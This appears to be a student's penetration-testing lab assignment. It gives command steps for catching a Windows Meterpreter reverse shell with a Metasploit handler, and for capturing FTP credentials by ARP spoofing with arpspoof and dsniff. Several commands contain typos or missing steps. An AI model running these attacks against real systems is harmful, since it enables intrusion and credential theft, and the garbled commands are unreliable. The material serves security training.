**Assignment Day 6 | 30th August 2020**

**Question 1:**

**● Create payload for windows .**

**● Transfer the payload to the victim's machine.**

**● Exploit the victim's machine.**

**Answer:**

For creating a pyload for windows, we need a kali Linux system and a victim windows system.

**Ssh into kalli:**

Then type the below:

sudo su-

ip -a #we will get the ip of kali (10.10.10.171)

Then we have to open the gitforwindows:

ssh 10.10.10.171

sudo su-

apt install apache2

cd /var/www/html/

mkdir counterstrike

cd counterstrike

systemctl enable apache2

system start apache2

At this time, the victim has to go to the ip of our system i.e <http://10.10.10.171/counterstrike>.

Now back to kali system:

msfconsole

use multi/handler

set payload windows/meterpretor/reverse\_tcp

show options

set LHost 0.0.0.0

exploit -j -z

sessions -i 1

Finally,the windows has been exploited .

**Question 2:**

**● Create an FTP server**

**● Access FTP server from windows command prompt**

**● Do an mitm and username and password of FTP trans**

**Answer:**

Log into the victims windows system,then follow the below procedure:

Start>Server manager>Manage>Add rows and features

Now,proceed continuously by clicking the next button,until the window for Server roles come up.

Under server roles, select webserver(IIS).

Then proceed with next button.

Under role services we need to put a tick against :1.FTP server

2.FTP extensibility

Then click next.

The ftp server is installed on victim’s windows system.

Now we have to go to tools options shown in the menu bar.

Information services manager>windows server>Add FTP site.

Give the website name and for authentication put tick on basic and give access to all users the permission for read and write.

Click on finish.

And now we have to move to **Pentester Windows** machine:

Go to cmd.

ftp <192.168.180.167> (the ip of victim’s windows machine)

Now on kali:

nmap -Pn -sS -f 192.168.180.\*

apt install dsniff

echo I > /proc/sys/net/ipv4/ip\_forward

sysctl -w net.ipv4.ip-forward=1

arpspoof -i eth0 -t 192.168.180.167 -r 192.168.180.166

dsniff -i eth0

Now for deep analysation we can go for wireshark.